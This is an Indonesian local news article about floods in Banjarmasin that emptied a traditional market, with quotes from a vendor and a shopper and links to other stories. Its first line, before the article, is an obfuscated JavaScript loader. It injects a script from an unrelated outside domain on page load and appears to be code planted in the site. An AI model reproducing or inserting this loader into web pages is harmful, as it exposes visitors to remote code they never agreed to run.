(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN- Banjir yang terjadi di Banjarmasin memaksa sejumlah aktivitas di pasar tradisional tutup. Hal ini tentu saja membuat ibu-ibu rumah tangga bingung mencari kebutuhan pokok untuk memasak.
Dampak akibat banjir yang menggenang pemukiman penduduk di Banjarmasin, Senin (6/12/2021) tidak hanya mengganggu aktivitas warga yang menyebabkan jalan umum tergenang. Salah satu pasar tradisional di Banjarmasin yang dikenal dengan pasar ‘sederhana , juga mengalami sepi aktivitas.
Baik pembeli maupun penjual akibat para pedagang yang berjualan di pasar tersebut banyak yang tutup.
Pasar yang terletak di jalan gang dengan lebar 5 meter tersebut dikenal cukup ramai dalam aktivitas jual beli barang barang kebutuhan pokok dan lauk pauk.
Baca juga: Banjir Rob Disebut Dampak La Nina, 17 Titik di Banjarmasin Terendam
Namun dari pantauan kanalkalimantan.com pada pukul 11.00 Wita, suasana pasar terlihat lengang dan sepi dari para pedagang yang biasanya membuka lapak.
Saat ditemui, salah satu pedagang sembako Amrin (29) mengatakan, suasana pasar hari ini memang tidak seperti biasanya, pedagang banyak tutup akibat banjir yang belum surut.
“Pedagang enggan buka akibat jalan masih banjir, terutama pedagang sayur dan ikan karena lapak yang biasa buka di jalan belum kering masih banjir, ” kata Amrin.
Hal yang sama juga diakui oleh salah satu pembeli Rahmaniah (45). Ibu rumah tangga yang setiap pagi selalu mencari ikan di pasar ini mengatakan susah cari ikan buat lauk soalnya pedagang banyak yang tutup.
Baca juga: Ajang Silaturahmi, DPK Korpri HSU Gelar Kejuaraan Catur Cepat Antar ASN
“Terpaksa cari di pasar lain buat cari ikan sama sayur, ” kata Rahmaniah.
Akibat pedagang pasar banyak yang tutup ini akibatnya banyak para pembeli harus memutar arah ke pasar yang lain dengan jarak tempuh yang agak jauh dan harga yang agak mahal akibat kelangkaan pedagang ikan dan sayur. (kanalkalimantan.com/seno)
Reporter: seno
Editor: cell
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More
This website uses cookies.